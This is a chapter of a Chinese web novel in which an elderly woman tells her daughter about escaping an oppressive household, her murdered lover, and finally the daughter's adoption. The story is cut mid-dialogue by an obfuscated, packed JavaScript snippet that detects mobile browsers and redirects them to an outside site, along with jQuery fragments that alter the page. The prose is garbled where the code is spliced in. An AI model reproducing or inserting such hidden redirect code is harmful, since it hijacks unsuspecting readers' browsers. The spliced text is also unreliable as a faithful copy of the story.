孙瑾英正在躺椅上读《雨前》刚送来的杂志，眼睛瞟到桌子上的日历，仍未习惯世界已经进入2000年。
孙映远拖着一个大纸箱子进了门，没脱外套便急忙把东西从纸箱往外拿，花生，点心，糖果，她兴高采烈地跟孙瑾英：“都是年货，千禧年我们好好过！”
孙瑾英缓缓起身，走到孙映远身旁，想帮着一起收拾，被孙映远阻止，只好站在一旁问：“那边今天有消息吗？”
孙映远打开一盒桃酥，递给孙瑾英一块：“哪边？哦，你说座钟的那边，我今天没过去。”
孙瑾英忧心忡忡地站在原地。
孙映远把年货整理好才问：“妈，你觉得那边能看到图吗？”
“应该能的，她，不对，是我，突然停止写日记，又在之后重新写，这应该是一个信号。”
孙映远洗完手脱了外套坐在沙发上，看着站在面前的孙瑾英问：“妈，从那天看到那个名字我一直想问你，那个常春晖是我爸吗？”
近些年，她始终在犹豫，要不要把真相告诉她，但毕竟瞒了几十年，开口并不是件容易的事。
她只是摇了摇头。
“你们只是谈过恋爱？”孙映远又问。
“也没有。”
孙瑾英心底又一次升腾起那股莫名的心酸，时间作为计量单位对她的遗憾来说早已失效，她用许多许多年验证了一条真理：如果对早已迟暮的她来说世间只有一样东西是永恒的，她认为是遗憾。
失去常春晖的遗憾。
失去宋谈的遗憾。
失去华兰舒的遗憾。
孤独地享受自由与和平的遗憾。
近来记忆总是错乱，这可能是某种预兆，孙瑾英想把所有的事都告诉孙映远，这样一来，即便自己活不到明天，也不会断掉这千载难逢的沟通机会。
孙瑾英重新回到躺椅上，把拐杖立在身旁，还没准备好从何说起，孙映远抢先问：“妈，你当年从宋家逃出来了吗？怎么逃出来的。”
“逃出来了。”
孙映远起身将孙瑾英的杯子填满。
“那个时候我被关在地下室，前后门都有人看守，我原本计划夜里爬墙溜走，彻底消失，但我没想到会有人帮我。那天是腊月二十一的中午，我突然听到楼上有人大喊，白管家掉河里了！正值腊月，久云河早已结冰，白管家却无故掉进河里，我正诧异的时候，小梅下来拉着我的手就跑，看守的人都已消失，我当时闪过一个念头，这是个逃走的好机会，但小梅紧紧拉着我的手一直跑到河边。
几个男人围着冰窟窿，正脱下衣服系在一起，应该是想拉白管家上来，即将跑到河边时，小梅语气急促地说白管家知道你会游泳，让你跳下去救他，之后会告诉宋家你已经死了。
我当时没有多想，俯身冲向那个冰窟窿，拖着白管家胳膊的一瞬间，他告诉我数到30再上来。
我在水里默默数数，探出头时，他们已经离开，只留下那几个男人系好的衣服。
我当时不知道为什么白管家会舍命救我，小梅又为什么会帮我。
后来的事我是听宋谈说的，白管家跟宋卿勋说马上要办婚礼，久云河边是宾客必经之地，他带人打扫时不小心掉进冰窟窿，我之所以会出去，是小梅一时乱了阵脚，大喊谁会游泳，情急之下带着我跑出去救人，但我下去后便再也没上来。
白管家因此生了场大病，没多久便离开人世了，直到跳下河里的前一秒，我还在怀疑他，我至今仍在愧疚。”
“后来呢？宋家人相信了？”
孙映远拉了把椅子坐在孙瑾英正对面，一脸严肃。
“白管家偷偷告诉宋太太，是他故意将我推到冰块之下的，为了宋太太在这个家里的地位。”
“宋家那么多人没有会游泳的吗？”
“不是没有会游泳的，是天寒地冻不愿下去。”
“那你为什么会相信白管家？跳下去的时候没想过会上不来吗？”孙映远又问。
“因为我小时候住在河边的村子，会游泳的事，只有家人知道。”
孙映远握着孙瑾英的手，靠在她肩膀。
“后来呢？”
“宋谈和华兰舒帮我租了一间房，每天过着心惊胆战的日子，生怕遇到宋家的人敲门声，脚步声，所有响动对我来说像子弹上膛的声音一样。
所以那天急促的敲门声响起时，我打开了窗户，站在窗边屏住呼吸，心想若真的被发现，便跳下去。
当时我不敢出声，直到外面的人说，我是常春晖。
我没想过这辈子还能再听到他的声音，走到门口那几步，心跳如鼓。
他站在门口，嘴巴紧闭着说不出话，鼻孔在微微抽动，我只是说了句：‘你戴了眼镜。’
他似乎手足无措，扶了扶眼镜，眼眶红着笑了出来，问我这里冷不冷，有没有旧衣服，又问我钱够不够用。
我说不冷的。
他在易城银行偷偷调查，遇到一个叫孙成英的人，便问他可否认识孙瑾英，孙成英告诉他我嫁到宋家，在宋家遇到意外去世了，他便又找到宋家，想问个清楚，宋家人只是说我掉进了久云河的冰窟窿里。
他在河边痛哭时，有个丫鬟也就是小梅，跑出来告诉他我没死，让他去找宋谈，他才找到我。
那天我们没说几句话，他连门都没有进，说自己休学在报社工作，有重要的调查要做，约好明天再来找我。
他离开时频频回头，那个场景像电影片段一样，在我的脑海里播放了几十年。
第二天，我等到深夜，他还没来，我安慰自己他可能是工作耽误了，决定再等一天，第三天，我等来了宋谈，他告诉我常春晖遇害，听到这个消息后，我躺回床上，重新闭上眼睛，当作这是一场梦，醒来一切如旧。”
孙映远听完，用袖子擦了擦脸颊的泪。
“妈，我活到现在，结婚离婚，对爱情可以说是不屑一顾的，但我还是被触动了，感觉心一抽一抽地疼。”
孙瑾英轻轻拍了拍孙映远的手，孙映远又问：
“你们是怎么认识的？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592880|187429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“在电车上认识的，我看到我手里的书，他问我能否借他，一来二去，就认识了，他那时已经上大学，我还在读女中，他总来找我，有时候是借书有时候送书，然后一起等电车，春夏秋冬，风雨无阻。
档案馆有他写在报纸上的文章，我想他时，便会去看看他登在报纸上的名字，但一张照片都没有找到。”
“之前怎么没听你提起过宋谈和华兰舒？听起来你们关系不错。”
孙瑾英侧头看着窗外，艰难地说出口：“早就不在了。”
“那宋家人呢，他们后来怎么样了？”
“我不知道，我经常去档案馆，都从没想过要查他们家的任何消息，我不想知道。”
孙映远突然竖起耳朵：“妈，你有听到什么动静吗？家里有老鼠？”
听到钥匙插入锁孔的声音，孙映远警惕地拿起孙瑾英的拐杖，走到门口。
钥匙轻轻扭动，门被推开。
“surprise！”
小岩从门外跳了进来。
孙映远拿着拐杖轻轻敲了敲她的屁股：“孙岩！你是想吓死我们！”
小岩迫不及待奔向孙瑾英，抱着她不停地亲她脸颊。
“脏不脏啊？先洗手。”孙映远把她的行李拉进来，关好门。
小岩洗完手拿起孙瑾英书桌上的一张纸，问：“姥姥你看这个干什么？这是哪里？”
两天前，孙映远回来时带了一张小洋楼的平面图，准备年后开始装修，她说这张图里藏着秘密，让孙瑾英找找看。
孙瑾英戴着老花镜仔仔细细看了几遍，没察觉到任何异样。
孙映远指着图说：“这里竟然有一个暗楼梯。看这里，以为是个柜子，其实进去是楼梯，从地下室直接通到2楼，2楼从这个窗户迈出去，这里有一个铁的架子，可以踩上去，我猜测原本这里会备着绳子，系在铁架子上就能下去，这面墙没有被围起来，应该就是为了逃跑。装修师傅画图纸才发现，你说这设计多厉害。”
孙瑾英盯着那张图看了又看，一言不发。
孙映远问：“你以前知道吗？”
孙瑾英拿着纸的手似乎在颤抖，她很久才回过神来：“不知道，我猜他们家人都不一定知道，那个时候刚买的宅子，住进去没多久。”
小岩已经看见了平面图，孙映远也就没再隐瞒，把开餐厅的事告诉了她。
“不愧是我妈，有远见，有魄力。”小岩说完，突然问了一句：“我刚听到你们在档案馆，宋家，什么意思？”
孙瑾英和孙映远沉默地交换了眼神，孙瑾英示意俩人坐好。
她缓缓起身，走到卧室，从衣柜里拿出一个铁盒子，铁盒子里有一个信封，她把信封里的东西抽出来，深呼吸。
走出卧室的门，一切都会改变。
“我犹豫了好多年，有件事是时候告诉你们了。”
“小远，你不是我亲生的，这是你妈妈和你爸爸的照片。”
孙映远直勾勾地看着孙瑾英的眼睛：“妈，你胡说什么呢？”